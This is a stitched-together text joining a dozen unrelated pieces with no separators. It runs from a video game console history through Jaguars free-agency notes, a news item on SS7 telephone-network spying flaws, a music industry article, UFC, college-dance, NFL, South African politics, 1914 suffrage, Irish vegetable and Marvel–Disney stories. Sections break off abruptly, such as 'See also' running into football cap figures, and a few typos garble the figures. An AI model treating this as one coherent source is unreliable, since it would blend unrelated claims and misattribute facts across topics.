Mobile gaming interest was raised when Nokia launched its N-Gage phone and handheld gaming platform in 2003. While about two million handsets were sold, the product line wasn't seen as a success and was withdrawn from Nokia's lineup. Meanwhile, many game developers had noticed that more advanced phones had color screens and enough memory and processing power to do reasonable gaming. Mobile phone gaming revenues passed 1 billion dollars in 2003, and passed 5 billion dollars in 2007, accounting for a quarter of all videogaming software revenues. More advanced phones came to the market such as the N-Series smartphone by Nokia in 2005 and the iPhone by Apple in 2007 which strongly added to the appeal of mobile phone gaming. In 2008 Nokia didn't revise the N-Gage brand, but published a software library of games to its top-end phones. At Apple's App Store in 2008, more than half of all applications sold were iPhone games.
Due to the debut of app stores created by Apple and Google, plus the low-cost retail price of downloadable phone apps, games available on smartphones increasingly rival the video game console market. Among the most successful mobile games of this period is Angry Birds, which, released in 2009, reached 2 million downloads within one year.[58] Nintendo announced their intentions for developing more games and content for mobile devices in the early 2010s,[59] while Sega company is also dedicating development resources toward creating more mobile games.[60] Independent small developers are entering the game market en masse by creating mobile games with the hope they will gain popularity with smartphone gaming enthusiasts.[61]
Since 2007, the fast growing mobile market in African countries such as Nigeria and Kenya has also resulted in a growth in mobile game development. Local developers have taken advantage of the recent increase in mobile internet connection in countries where broadband is rarely available and console games are costly, though locally developed applications have difficulty competing against millions of western applications available on the Google Play Store[62][63][64]
Seventh generation consoles (2005–present)
The generation opened early for handheld consoles, as Nintendo introduced their Nintendo DS and Sony premiered the PlayStation Portable (PSP) within a month of each other in 2004. While the PSP boasted superior graphics and power, following a trend established since the mid-1980s, Nintendo gambled on a lower-power design but featuring a novel control interface. The DS's two screens proved extremely popular with consumers, especially young children and middle-aged gamers, who were drawn to the device by Nintendo's Nintendogs and Brain Age series respectively. The PSP attracted a significant portion of veteran gamers in North America and was very popular in Japan, though a large portion of its visual novels and anime-based games have never been localized in the west. This combined allowed Nintendo to continue its dominance in handheld gaming. Nokia withdrew their N-Gage platform in 2005 but reintroduced the brand as a game-oriented service for high-end smartphones on April 3, 2008.[65]
In console gaming, Microsoft stepped forward first in November 2005 with the Xbox 360, and Sony followed in 2006 with the PlayStation 3, released in Europe in March 2007. Setting the technology standard for the generation, both featured high-definition graphics over HDMI connections, large hard disk-based secondary storage for save games and downloaded content, integrated networking, and a companion on-line gameplay and sales platform, with Xbox Live and the PlayStation Network respectively. Both were formidable systems that were the first to challenge personal computers in power (at launch), while offering a relatively modest price compared to them. While both cost more than most past consoles, the Xbox 360 enjoyed a substantial price edge, selling for either $300 or $400 depending on model, while the PS3 launched with models priced at $500 and $600. Coming with Blu-ray Disc and Wi-Fi, the PlayStation 3 was the most costly game console on the market since Panasonic's version of the 3DO, which retailed for little under $700.[66] The PlayStation 3's high price led to the console being defeated by the Xbox 360 (also resulting in Xbox 360 gaining market leadership until 2008), thus breaking the streak of dominance that the PlayStation brand once had, which was started in 1994 with the success of the original PlayStation. However, the slim model and the PlayStation Move controllers caused a massive recovery for PlayStation 3, and the console would soon outsell Xbox 360 by 2013.
In this generation, Nintendo not only secured its dominance in the handheld video game market, but also successfully regained total dominance on both the home video game market and the entire video game industry with the release of its home console, the Wii. While the Wii had lower technical specifications than both the Xbox 360 and PlayStation 3,[67] only a modest improvement over the GameCube and the only 7th-gen console not to offer HD graphics, its new motion control was much touted, and its lower pricepoint of around $200–$250 appealed to a larger demographic. Nintendo took cues from PC gaming and their crafted games that capitalized on the intuitive nature of motion control. Emphasis on gameplay turned comparatively simple games into unlikely runaway hits, such as Wii Sports, Wii Sports Resort, and Wii Fit. Many gamers, publishers, and analysts initially dismissed the Wii as an underpowered curiosity, but were surprised as the console sold out through the 2006 Christmas season, and remained so through the next 18 months, becoming the fastest selling game console in most of the world's gaming markets.[68] As a result, the Wii became a global success and the runaway market leader of the seventh generation of consoles. As of September 2013, the Wii has sold 100.3 million units worldwide and is currently Nintendo's best selling home console.[69]
In June 2009, Sony announced that it would release its PSP Go for US$249.99 on October 1 in Europe and North America, and Japan on November 1. The PSP Go was a newer, slimmer version of the PSP, which had the control pad slide from the base, where its screen covers most of the front side.[70]
Increases in development budgets
With high-definition video an undeniable hit with veteran gamers seeking immersive experiences, expectations for visuals in games along with the increasing complexity of productions resulted in a spike in the development budgets of gaming companies. While some game studios saw their Xbox 360 projects pay off, the unexpected weakness of PS3 sales resulted in heavy losses for a few developers, and many publishers broke formerly arranged PS3 exclusivity arrangements or cancelled PS3 game projects entirely due to rising budgets.[citation needed]
Rise of casual PC games
Starting with PCs, a new trend in casual games, with limited complexity and designed for shortened or impromptu play sessions, began to draw attention from the industry. Many were puzzle games, such as Popcap's Bejeweled and PlayFirst's Diner Dash, while others were games with a more relaxed pace and open-ended play. The biggest hit was The Sims by Maxis, which went on to become the best selling computer game of all time, surpassing Myst.[71]
Other casual games include Happy Farm and Zynga games like Mafia Wars, FarmVille, and Café World, among many others, which are tied into social networking sites such as Myspace, Facebook, and Mixi. These games are typically free to play, with the option to buy in game items and stats with money and/or reward offers.
In 2008, social network games began gaining mainstream popularity following the release of Happy Farm in China.[72] Influenced by the Japanese console RPG series Story of Seasons,[73][74][75] Happy Farm attracted 23 million daily active users in China.[76][77] It soon inspired many clones such as Sunshine Farm, Happy Farmer, Happy Fishpond, Happy Pig Farm,[73][78] and Facebook games such as FarmVille, Farm Town, Country Story, Barn Buddy, Sunshine Ranch, Happy Harvest, Jungle Extreme, and Farm Villain.[75][79] The most popular social network game is FarmVille, which has over 70 million active users worldwide.[72] Other popular social network games include YoVille, Mob Wars, Mafia Wars, and FrontierVille.
Cloud computing comes to games
In 2009, a few cloud computing services were announced targeted at video games. These services allow the graphics rendering of the video games to be done away from the end user, and a video stream of the game to be passed to the user. OnLive allows the user to communicate with their servers where the video game rendering is taking place.[80][81] Gaikai streams games entirely in the user's browser or on an internet-enabled device.[82] Experts estimate the streaming games market will grow nine-fold by 2017, reaching 8 billion dollars.[83]
2010s
The new decade has seen rising interest in the possibility of next generation consoles being developed in keeping with the traditional industry model of a five-year console life cycle. However, in the industry there is believed to be a lack of desire for another race to produce such a console.[84] Reasons for this include the challenge and massive expense of creating consoles that are graphically superior to the current generation, with Sony and Microsoft still looking to recoup development costs on their current consoles and the failure of content creation tools to keep up with the increased demands placed upon the people creating the games.
On June 14, 2010, during E3, Microsoft revealed their new Xbox 360 console referred to as the Xbox 360 S or Slim. Microsoft made the unit smaller and quieter, while also installing a 250GB hard drive and built-in 802.11n WiFi.[85] It started shipping to US stores the same day, not reaching Europe until July 13.
The Onlive cloud-based gaming system would be one of the first cloud gaming systems known in video game history.[citation needed]
Eighth generation consoles (2012–present)
The Nintendo 3DS is a handheld video game console, revealed at Nintendo's E3 2010 press conference. Released in Japan in February 2011, it was released worldwide less than a month later. It uses autostereoscopic 3D to produce a 3D effect on-screen.
On January 27, 2011, the PlayStation Vita (code-named Next Generation Portable, or NGP, during development)[86] was announced. It has a 5-inch OLED multi touch front screen and a rear touch pad, two analog sticks, 3G and WiFi connection, Sixaxis control and 3-axis electronic compass. It was released on December 17 in Japan[87] and has been released on 15 (first edition bundle) and on February 22, 2012 in Europe (3G/ Wifi Vita, release bundle Vita, or the WiFi only Vita), as well as in the Middle East, Australia and North America.[88] Sony is looking to have up to forty launch titles for the western release and up to 100 within the release window.[89]
The Wii U is a video game console from Nintendo. Billed as the successor to the Wii, it was mentioned in statement released by Nintendo on April 25, 2011, that the company was planning to reveal it during E3 2011 and that playable console units would be present as well.[90] Code-named Project Café, it was officially introduced on June 7, 2011 with its final name, Wii U. The console released in North America on November 18, and in Europe, Australia and New Zealand on November 30, 2012, officially starting the "eighth generation" of video game consoles. Features of the new console include HD graphics support (on Wii U only), and a controller, the Wii U GamePad, which features a 6.2 inch touch screen built-in that can be used as a second screen providing added info and interactivity, such as "asymmetric gameplay". The Wii U GamePad allows some games to be played without needing a TV set, through Off-TV Play. Most peripheral hardware from its predecessor, the Wii, such as the Wii Remote and Wii Nunchuk, Classic Controller and Wii Balance Board are confirmed to work with the new console, and the console is backward compatible with all Wii and Virtual Console titles. The Wii U discontinues backward-compatibility support for GameCube discs and controllers, which also means that Wii games that support the GameCube's controller will instead require use of an alternate control scheme such as the Classic Controller when playing them on the Wii U. The Wii U also has its own more conventional controller, the Wii U Pro Controller, which resembles an Xbox 360 controller in form and function and is compatible with most Wii U and Virtual Console titles, but not original Wii games. The console is available in two sets. The basic set includes the Wii U console with 8 GB of internal memory, the Wii U GamePad, an AC adapter, an HDMI cable and the Wii Sensor Bar. The Deluxe set includes all of the items in the basic set, but it has 32 GB of internal memory instead of only 8 GB and is bundled with a GamePad charging cradle, stands for the GamePad and the console, as well as Nintendo Land. The Sensor Bar is not included in the basic set in Europe, Australia and New Zealand.
The PlayStation 4 (or PS4) is a video game console from Sony Computer Entertainment. Billed as the successor to the PlayStation 3, the PlayStation 4 was officially announced at a press conference on February 20, 2013. The fourth home console in Sony's PlayStation series, it was launched on November 15, 2013 in North America and on November 29, 2013 in Europe, and was launched on February 22, 2014 in Japan. Moving away from the Cell architecture, the PlayStation 4 is the first in the Sony series to feature compatibility with the x86 architecture, specifically x86-64, which is a widely used platform common in many modern PCs. The idea is to make video game development easier on the next-generation console, attracting a broader range of developers large and small. These changes highlight Sony's effort to improve upon the lessons learned during the development, production and release of the PS3. Other notable hardware features of the PlayStation 4 include 8 GB of GDDR5 RAM memory and a faster Blu-ray drive.
The Xbox One is a video game console from Microsoft. Billed as the successor to the Xbox 360, the Xbox One was officially announced at a press conference on May 21, 2013. Microsoft had intended to implement strict controls over game resale and DRM controls, but later reversed its decision due to public backlash. It is the third home console in Microsoft's Xbox series[91] and launched on November 22, 2013 in North America, United Kingdom, Spain, Mexico, Italy, Ireland, Germany, France, Canada, Brazil, Austria, New Zealand and Australia.[91] The release was delayed until sometime in 2014 in eight European countries (Belgium, Denmark, Finland, Netherlands, Norway, Russia, Sweden and Switzerland) due to various localization issues.
The Wii U was met with slow consumer adoption, with low sales primarily credited to a weak lineup of launch titles,[92] third-party support,[93] and marketing reasons.[94] Wii U production officially ended in January 2017.[95] On March 3, 2017, Nintendo released a new flagship home console, the Nintendo Switch, although the Wii U was noted for pioneering several concepts that were refined in the Switch.[96] The Nintendo Switch's software supports online gaming through standard Internet connectivity, as well as local wireless ad hoc connectivity with other Switch consoles. Nintendo Switch games and software are available on both physical flash-based ROM cartridges and digital distribution via Nintendo eShop; the system does not use region locking. The Nintendo Switch competes on the console gaming market with contemporaries being Sony's PlayStation 4 and Microsoft's Xbox One.
See also
As it currently stands, the Jaguars head into the 2017 free agency period with roughly $74 million in available cap space — fourth-most in the league according to Spotrac.
Below is an updated list of the players the Jaguars have re-signed and also a list of those who are still pending free agents. In our last update, the Jaguars had a total of 22 players that were scheduled to hit the market but now have 18 due to Abry Jones, Arrelious Benn, Josh Wells and Tyler Shatley re-signing.
Unrestricted Free Agents:
*UFAs are free to sign with any team.
Re-signed UFAs:
Player Year Base Salary Signing Bonus Roster Bonus Workout Bonus Cap Hit Dead Cap DT Abry Jones 2017 2,500,000 N/A 1,000,000 N/A 3,500,000 6,500,00 WR Arrelious Benn 2017 N/A N/A N/A N/A N/A N/A
Jones signed a four-year, $16 million deal. (Details)
Per Ryan O’Halloran, Benn signed an undisclosed one-year deal with a second year option. (Details)
Remaining Unrestricted Free Agents:
CB Prince Amukamara
OT Luke Joeckel
DL Tyson Alualu
SS Johnathan Cyprien
WR Bryan Walters
OT Patrick Omameh
DT Jordan Hill
RB Joe Banyard
RB Denard Robinson
Restricted Free Agents:
*RFAs can talk to other teams, but the Jaguars will be given a chance to match any offers the player receives from other teams.
Re-signed RFAs:
Player Year Base Salary Signing Bonus Roster Bonus Workout Bonus Cap Hit Dead Cap OL Tyler Shatley 2017 N/A N/A N/A N/A N/A N/A OT Josh Wells 2017 N/A N/A N/A N/A N/A N/A
Per Ryan O’Halloran, Shatley signed an undisclosed one-year deal with a second year option. (Details)
Per Adam Caplan, Wells signed a two-year deal worth $1.52 million with $75k guaranteed. (Details)
Remaining Restricted Free Agents:
RB Daryl Richardson
S Peyton Thompson
Exclusive-rights Free Agents:
*If the Jaguars decide to sign a ERFA to a one-year deal, the player must sign the deal or sit out the season.
Remaining Exclusive-rights Free Agents:
OL Jeremiah Poutasi
DB Akeem Davis
LB Marcus Rush
WR Tony Washington
TE Alex Ellis
WR Shane Wynn
RB Bronson Hill
Re-signed Exclusive-rights Free Agents:
N/A
Notable Cuts:
On Feb. 20 the Jaguars cut veteran defensive end Jared Odrick, freeing up $8.5 million in cap space. (Details)
We’ll focus on the unrestricted free agents as they are the ones with the highest chances of signing with another team. Thompson is probably the most notable non-unrestricted free agent worth mentioning as he has seen a significant amount of play time on special teams as a backup safety. It wouldn’t surprise anyone if they re-signed him to a reasonable deal similar to Shatley and Wells’.
As for the unrestricted free agents, the names that still stick out to me are Amukamara, Alualu and Cyprien, considering they all had a significant playtime during the season.
It was initially believed that Amukamara might be re-signed due to his familiarity with Tom Coughlin, but as March 9 gets closer, those who cover the team are starting to wonder.
Considering their cap situation, it’s possible the Jaguars may be looking to add a big-time (and healthier) option at the position. With names like Stephon Gilmore and A.J. Bouye set to hit the market, the Jaguars could land a top-tier corner to pair with their own ascending corner, Jalen Ramsey.
Amukamara, on the other hand, started 12 of the 14 games he played in (which is good, considering his past) and is a scheme fit for the style of play Todd Wash likes on the outside. He could still be in play to re-sign, but most seem to think it will become more unlikely as the days pass.
Alualu also played well when called upon from his backup role. He started a total of 10 games in the place of Jared Odrick, who was dealing with multiple injuries throughout the season. On top of having a ton of starting experience, he adds value as a rotational player. His chances of re-signing depends on whether the team will continue to use a “big end” in their scheme. If the team moves away from Gus Bradley’s 4-3 under concepts, however, they will likely move on.
Lastly, and probably the most notably, is Cyprien, who was drafted by Dave Caldwell in 2013. Since then, he’s started a total of 60 games at strong safety and his play most recently improved in 2016. Problem is the Jaguars may still need better coverage out of his position as Cyprien has struggled in that department. He could have a nice sized market if the Jaguars let him test free agency, and it seems that they may be willing to part ways with him. If they do, most expect them to search for an option that is more than just a “box” safety.
Indeed, such has been the avalanche of revelations that it’s not uncommon at all to hear security researchers advise you to turn off your phone’s WiFi, and communicate via regular calls vand SMS messages instead because of the 3G phone network’s built-in advanced encryption.
Well, there’s bad news folks…
Two German security researchers have uncovered what they claim are serious security flaws that could allow criminals and intelligence agencies to spy upon private phone calls and text messages transmitted via cellular networks.
The problem it appears is in Signal System 7 (SS7), a global telecom network that you may never have heard of, but which assists phone carriers around the world route your calls and text messages.
The Washington Post reported that researchers Tobias Engel and Karsten Nohl discovered security holes in some of SS7’s functions normally used for keeping calls connected as they “speed down highways, switching from cell tower to cell tower.”
The belief is that national intelligence agencies are likely to be conducted similar research and could be exploiting the security holes to gather information – something which could potentially impact users around the globe:
Experts say it’s increasingly clear that SS7, first designed in the 1980s, is riddled with serious vulnerabilities that undermine the privacy of the world’s billions of cellular customers. Those skilled at the myriad functions built into SS7 can locate callers anywhere in the world, listen to calls as they happen or record hundreds of encrypted calls and texts at a time for later decryption. There also is potential to defraud users and cellular carriers by using SS7 functions, the researchers say.
Specifically, the German researchers say they have uncovered two ways to spy upon phone conversations using SS7 technology.
Firstly, commands sent over SS7 can hijack a cell phone by forwarding any calls it receives to hackers, and then onwards to the intended recipient. With such a system in place, calls can be secretly recorded.
Secondly, hackers in close proximity to their intended target could use radio antennas to scoop up all calls and texts passing through in the area – requesting through SS7 a temporary key to decrypt recorded communications.
Last week, Nohl put his discoveries into practice, demonstrating how he was able to grab and decrypt a text message sent from a German senator’s cell phone. Fortunately the senator agreed to be part of the demonstration.
Privacy activist Christopher Soghoian, who is principle technologist at the American Civil Liberties Union, told Gizmodo that people should not consider their regular voice calls secure.
For secure conversations, use third-party tools like FaceTime, Signal or RedPhone which “allow you to have secure communication on an insecure channel.”
On the face of it, it was a week in which the great rock'n'roll swindle was in full swing. On Tuesday night – representing the popular end – Take That were crowned best British group after a performance that left them in little more than their underwear. On Friday, serious musos got their chance to indulge when they were able to download The King of Limbs, the latest Radiohead album direct from the band's website from £6.
Yet, underneath the glamour, and despite all the hype about the digital revolution, the music business – as represented by the major record labels – is in serious financial trouble. Sales were down 7% last year in the UK and by nearly 10% in the United States, the world's largest music market. Two of the four music majors, Sony – home to Simon Cowell – and Warner Music, behind Cee Lo Green and Plan B, admitted their pre-Christmas sales were down 10% and 14% respectively.
It has been a decade since piracy and the arrival of iTunes – which destroyed the notion of an album in favour of single, downloadable tracks – but the music business has found nothing to repair lost CD sales. Arcade Fire's The Suburbs may have been album of the year at the US Grammy Awards last weekend, and winner of the international album prize at the Brits on Tuesday, but it has sold only 1.4m copies worldwide. "Wind the clock back a few years and that would have been 4m to 5m," says the Canadian indie rock band's manager, Scott Rodger.
What has emerged is, on the face of it, a nightmare scenario. The music industry has roughly halved in size since the last days of the CD-fuelled peak, when boyband *NSync's No Strings Attached album could sell more than 10m copies in 2000 – but the hope was that one day, digital sales would pick up the growth as CD sales – or "physical" sales, as the industry likes to call them – levelled off. However, in the US, from where all music business trends start, download sales growth has all but stalled, posting just 1% growth throughout all of 2010.
"The record industry is now in a very serious situation," says veteran protest singer Billy Bragg, who lobbies for the rights of performers through a body called the Featured Artists Coalition. "Partly these are problems of the industry's own making, but the result is there is no longer, for example, the record-shop culture that has proved so important at the start for so many musicians." Nor is it just small record shops that are in trouble – the fall of Woolworths and Zavvi has been followed by problems for HMV – which last month said it would be forced to close 60 stores in the wake of a profit warning following poor pre-Christmas sales.
Yet, for all the downwards sales figures, there are plenty in the music industry who remain, if not optimistic, then at least hopeful.
While Take That, with Robbie Williams, may be one of the very few bands that can still sell large quantities of CDs – not least because as their record company, Universal Music, found, their mainly lower-income, older female fan base prefers not to download songs online – it is Radiohead that point the way to the all-digital future.
Radiohead released The King of Limbs as a download on Friday – their second album since the band walked out of EMI in 2007, following a row in which they had tried and failed to persuade EMI to hand them control of the copyrights to their first six albums, including the landmark OK Computer. Their first album as an independent band, In Rainbows, was sold via an "honesty box" approach in which people could donate whatever they thought the album was worth – but was priced at £6 for an open format MP3 download or £9 for a higher "CD-quality" WAV format file.
Last week, manager Chris Hufford described the new pricing strategy as a "logical progression" from the honesty box approach, but the band's decision shows they believe theirs is an ideal minimum price point for their work. Plus, in a clear sign of the impending demise of the CD, a physical release of the album won't appear until next month – with a special edition, comprising a CD, two 10-inch vinyl discs and a host of artwork going on sale for the healthy price of £33.
The Radiohead approach can't work for every artist – an X Factor winner is unlikely to be able sell a £33 album – but to succeed in the new arena, artists have to embrace any form of internet marketing they think is appropriate, and record companies know they have to adapt. Last year Ellie Goulding, who likes to run almost as much as she likes to sing, hooked up with Nike, and through her Facebook pages invited a small number of selected fans to run with her in seven different cities on her UK tour.
Her record label, a Universal subsidiary, Polydor, then released a remixed version of Lights, aimed at providing a running soundtrack, in an effort get Goulding's music taken up by the national running subculture. "It took us out of the traditional record promotional cycle, based on peaks of activity around a record release and meant that she was being marketed over the whole of last year," said Paul Smernicki, the director of digital for Universal Music.
In the new era, the digital relationship has become critical as the retailers crumble. Tony Wadsworth, the chairman of the BPI, the trade body for the record labels, said: "Ten years ago all we did was make plastic and sell them to record stores. Now, in a business where over a quarter of sales are digital, we need a much broader combination of ways to make money."
Many hope that music subscription services, such as Spotify in Europe and Pandora in the United States, can generate new, meaningful forms of revenue. Spotify has more than 500,000 paying customers to its £9.99 a month all-you-can-listen-to service – but that £60m-a-year business is still modest when set against a business that still generated $17bn for record companies worldwide in 2009, the last year for which statistics are available. Meanwhile, other streaming services, such as Sky's Songs service and Nokia's Comes With Music, aimed at its mobile phone customers, have flopped – so the creation of a mass music subscription market is not yet assured.
What is also clear is that in the new environment, the music business is becoming increasingly polarised between pop acts pushed by the likes of Simon Cowell through the medium of television, and the acts that have taken considerable risks to hang on to what they believe is their artistic credibility. But while the best pop can still sell, as Take That showed with Progress, their last album, which was the bestselling British album since Oasis's Be Here Now in 1997 – it is the more indie acts that have to be particularly astute to navigate the faltering commercial system.
Arcade Fire, for example, invested their own money into their early records and videos – with the result that the band was in a stronger bargaining position when major labels became interested in them. Their manager, Scott Rodger, says: "When we sell 1m units we get the income equivalent to 5m units for a band in a traditional record company deal," but he acknowledges that it is an approach that is difficult to pull off.
First, reigning champion Daniel Cormier will seek to defend his 205-pound strap in an April 8 rematch against Anthony Johnson at UFC 210. After that, UFC president Dana White has already suggested that the next title shot will likely go to Jones, the longtime kingpin of the division whose suspension reaches an end in July.
The rivalry between Cormier and Jones is one of MMA’s most fieriest, and nobody was burned more than Cormier when Jones’ USADA failure sank their championship rematch — and career-changing paydays — in the days before UFC 200. But even despite everything that has happened over the past few years, Cormier said he won’t object if Jones ends up being the next title challenger at light heavyweight.
“Sure, whatever, I’d like to fight Jon Jones. That’s what I’ve been trying to do since 2015,” Cormier explained recently on The MMA Hour. “It’s been years, that’s all I’ve been wanting to do is get another opportunity to fight him. So yeah, sure, if you want to give him a title shot, go ahead. That’s fine. I think that, as long as that man has his affairs in order, he’ll be good to go.
“It’s just very hard — it’s just scary, at the end of the day. All that stuff is scary, as I’m pretty sure it’s scary to ‘Rumble’ to schedule to fight me because of the injuries. So for me, it’s just a little bit scary. Jon and I have been scheduled to fight like four times, and we’ve only fought once.”
The history between Cormier and Jones is rather extensive, to say the least.
The two were first slated to settle their grudge match in Sept. 2014, however an injury to Jones pushed the fight back to Jan. 2015 at UFC 182, with Jones ultimately capturing a unanimous decision victory over Cormier — a performance that still stands today as Cormier’s only career loss. The UFC then went on to strip Jones of his title and suspend him following his infamous hit-and-run accident in mid-2015, and Cormier took up the mantle of UFC light heavyweight champion in his rival’s stead.
A year later, with Jones finally returning to action, a scheduled rematch at UFC 197 once again met a delay, this time due to a foot injury suffered by Cormier. The pairing was quickly re-booked for UFC 200, only for Jones’ failed drug test for two banned substances — clomiphene, an anti-estrogenic substance, and letrozole, an aromatase inhibitor — to blow up the bout less than three days out from fight night.
Following the UFC 200 incident, White stated that he “would never take the risk of headlining a show with Jon Jones again.” But the UFC nowadays is in dire need of big ticket fights, and with Johnson remaining as the only person standing in the way of the Cormier-Jones rematch, Cormier isn’t confident that White will be able to stand by his word.
“We’d all have to all have some discussions,” Cormier said. “I’m not going to fight Jones just on some card. It would have to be a certain type of card if we were going to take a co-main event type of role. But therein lies another issue. I’ll put it out there: Jon and I will not fight in the co-main event to anyone but Conor McGregor. Right? That’s the only way that makes sense, right? So there’s the problem. Now you have a whole bunch of guys who make a whole bunch of money on one fight card. So it’s like, what’re you going to do?”
At 37 years old, Cormier is aware that his time in the sport may be nearing its final chapters. So while he has many accolades to call his own, Cormier also isn’t afraid to acknowledge that his road will inevitably always lead back to Jones, at least until the moment arrives that he can avenge his only career loss.
“It always has been,” Cormier said. “I said after I lost to him the first time and we were supposed to fight in [2015], I said give me the two toughest guys the division has to offer. At that time it was (Alexander) Gustafsson and ‘Rumble.’ I’ll beat them so that I can get back to this guy. I did it in a year, and I was ready to fight in April. Then I got the injury and everything that happened in July didn’t offer us the (chance to) fight, so I fought Anderson (Silva). I’m like, just get me back to where I need to be inside the Octagon against Jones. That’s really what it all leads to.
Since making the announcement in a Facebook post last month, the team has received considerable backlash online, with numerous commenters accusing the Strutters of tacitly endorsing the “racist and misogynistic” views they attribute to Trump.
“How can this institution...support someone so full of hate, so mysogynistic [sic] and racist?”
[RELATED: Students, alumni demand marching bands ditch inauguration]
One alum—who claims that her mother, grandfather, uncle, and aunt are all alumni, as well—said the team’s participation makes her “embarrassed” for the entire school, asking, “How can this institution that has been a part of [my] family support someone so full of hate, so mysogynistic [sic] and racist?”
“Nothing like performing for a misogynistic, racist, homophobic, ill-tempered, emotionally-stunted, ignorant, thin-skinned child to make a group of university students feel really good about themselves,” another commenter posted, adding facetiously, “Nicely done.”
Another individual complained that some previous comments had been deleted, arguing that only “rude and disrespectful” statements can legitimately be removed and pledging to continue reposting her sentiments as many times as necessary.
“The university is showing support to a racist and misogynistic man who was elected to be our president,” the message laments. “He has proven that he has no respect for women, people of color, people with disabilities, and people of the LGBTQ community.”
At least one professor has even weighed in, calling the team’s inaugural plans a “betrayal” of the student body.
“So sorry to see these plans, a betrayal of our diverse student body,” tweeted TSU English professor Rebecca Bell-Metereau. “Hope they're not required to perform for this event-NOT an honor.”
“Students and organizations have a right to engage in any legal activity, but many students have expressed reservations about how participation in this parade reflects on our university, given Mr. Trump's own comments about Mexicans, women, and the disabled.” Bell-Metereau told Campus Reform.
“I don't intend to bully anyone, and my comments are as a private citizen,” she explained. “I encourage all students in my classes to discuss issues in a civil and respectful way, regardless of their political views. I do not take sides but I recommend that they cross check facts, etc.”
[RELATED: Socialist students plan national Inauguration Day walkout]
Despite the widespread criticism, though, the Strutters are also receiving expressions of support from those who consider the team’s invitation to march in the inaugural parade an honor, regardless of whom is being inaugurated.
“To have a chance to perform in front of the nation and the president is a dream come true for any performer in any context,” Max Davis, a 2013 TSU graduate, told Campus Reform. “As a person who does not agree with Obama’s policies whatsoever, I cannot imagine declining an offer to attend any function he invited me to. The honor and opportunity would be too great”
[RELATED: Children return parents’ degrees to protest inauguration plans]
“Regardless of whether you agree or not with Donald Trump’s proposed policies, it’s an opportunity you can’t miss,” he elaborated. “I’m proud they’ll be performing and plenty of my friends from TxSt who voted Democrat are equally proud.”
"Jerod's made progress day by day; nobody works harder than Jerod does," coach Bill Belichick said Monday. "We've asked him to do a little more, either by volume/the amount of work he does, or we've increased the intensity of it in the two-and-a-half weeks we've been in training camp, and I think he's handled all those well."
Linebacker Jerod Mayo has impressed Patriots coaches in his return to the field following two shortened NFL seasons. AP Photo/Charles Krupa
Mayo, whose 2014 season ended in October due to a torn patellar tendon and who tore a pectoral muscle in October 2013 to land on injured reserve that year, didn't play in the preseason opener against the Packers. But he hasn't missed a practice and his influence on the team remains strong.
"I think everybody looks up to Jerod," Belichick said. "He was a captain from his second year on, like Devin [McCourty]. It's a little bit unusual to see players be a captain their second year; I think that takes a special person to earn that much respect in a short period of time. Jerod did that. Devin did that. It's not really that long a list."
Johannesburg - Outspoken former ANC MP Makhosi Khoza says the problem in the ruling party is that its leaders are not principled.
She was speaking at the founder’s conference of her new party, African Democratic Change, in Braamfontein, Johannesburg, on Friday.
"When they have to take a courageous stand on an issue affecting the nation, they distance themselves," she said.
Khoza also identified greed and materialism as problems in the party, saying that they "manifest into social chronic ills such as corruption, and a sense of entitlement".
Honesty a top priority
She said her party would avoid repeating such mistakes, telling the audience it would lead with honesty. It was impossible to build an organisation while standing on an immoral platform, she added.
"[Our party] is not about numbers. Yes, we want to win the elections, but we want to win on a moral and ethical platform."
The party is seemingly made up of disenchanted members of other parties, such as the Economic Freedom Fighters and AgangSA, as well as civil society organisations.
"[We] have decided to take the driving seat. We cannot outsource the blame if we fail," she said.
She called out political analysts who labelled her move as unwise, saying that the African Democratic Change was not her party, but a new home for South Africans. She described the party as a new force for change that "will strive to solve the problems faced by South Africa".
READ: Political analysts weigh in on Makhosi Khoza's 'new party'
Khoza also spoke about unity, saying that society could not be divided on racial lines.
"The ball is now in our court. We have to unite the country. Let’s remember that the path that we have chosen - to truly restore the dignity of our people, to form this political home - is not a decision that was taken lightly."
Khoza had previously denied claims that she would start her own party following her exit from the ruling party and her resignation from Parliament.
She had been a very vocal critic of President Jacob Zuma, pleading with ANC members to vote with their conscience during the last motion of no confidence in the president.
On March 3, 1914, representatives of the Congressional Union for Woman Suffrage participated in a hearing before the House Judiciary Committee as the movement for women’s suffrage gained steam.
New York’s Crystal E. Benedict addressed the assembled members, distributing maps to show support for the cause. States that backed the movement were shaded white, but a similar map above from the same year shows where states stood. By 1914, a large number of states in the west had granted women the right to vote (symbolized in red). Shaded states offered partial suffrage, and black states, largely in the southeast offered none. The key to the bottom right offers more detail.
With women able to vote in some states, they were in a position to issue not-so-veiled political threats, as the article below from the evening edition of The Washington Times that day noted.
“Do you want to put your party in the delicate position of going to four million women voters next fall after you have failed even to report out an amendment creating a woman’s suffrage committee or submitting to the States the question of women’s suffrage?” Benedict asked. “No Democrat replied,” the paper reported.
Students Sive Neary and Aoife Troxel who placed second in the world in the poster competition.
TWO IRISH STUDENTS have placed second in the world in a competition for a poster featuring a study which found the potato is not the most Irish vegetable.
The study, cleverly entitled ‘Tracing the Roots of Irish Vegetables‘, investigated the availability of Irish-sourced vegetables in shops.
Sive Neary and Aoife Troxel from Dominican College, Taylor’s Hill in Galway, compiled data from six shops during the same week, collecting a range of vegetables.
They found that Tesco supplied the highest percentage of Irish vegetables, while Supervalu had the least.
Believe it or not, potatoes were not the most ‘Irish’ of vegetables with 92 per cent of mushrooms in their study sourced from Ireland compared to just over 60 per cent of spuds. The onion was found to be the least Irish vegetable as it was most often sourced from abroad.
As the formerly four studios with skin in the superhero game – Disney, Warner Bros., Fox, and Sony – collapse into dueling DC and Marvel monoliths, the internet has been positively drunk on dreams of seeing the X-Men and Fantastic Four in the MCU. These team-ups and hero-vs.-hero battles are deeply rooted in comic books, which are still the fountainhead of ideas and titles for our onscreen super-capers.
But this newly connected Hollywood movieverse creates its own paradoxes and elaborate traps, too – continuity ripples, power imbalances, total creative homogenization – the effects of which will be felt for many Marvel Phases™ to come. A price must be paid.
Ah, what the hell – go ahead and shout out an “Excelsior!” anyway: For the first time in movie history, Marvel is (mostly) united. May the homecomings of Reed Richards and Wolverine be as sweet as Spider-Man’s was.
But here, true believer, is what it will cost you.
DISNEY WILL SEEK REDUNDANCIES – AND THAT MEANS FEWER MOVIES
The $52.4 billion deal gives Disney assets far beyond Fox’s movies and cinematic characters – most of those billions are for key TV and sports properties – in a headache-y international merger that will take 1-2 years to approve and several more of painful integration. But one of its more immediate and visible impacts: fewer superhero movies overall.
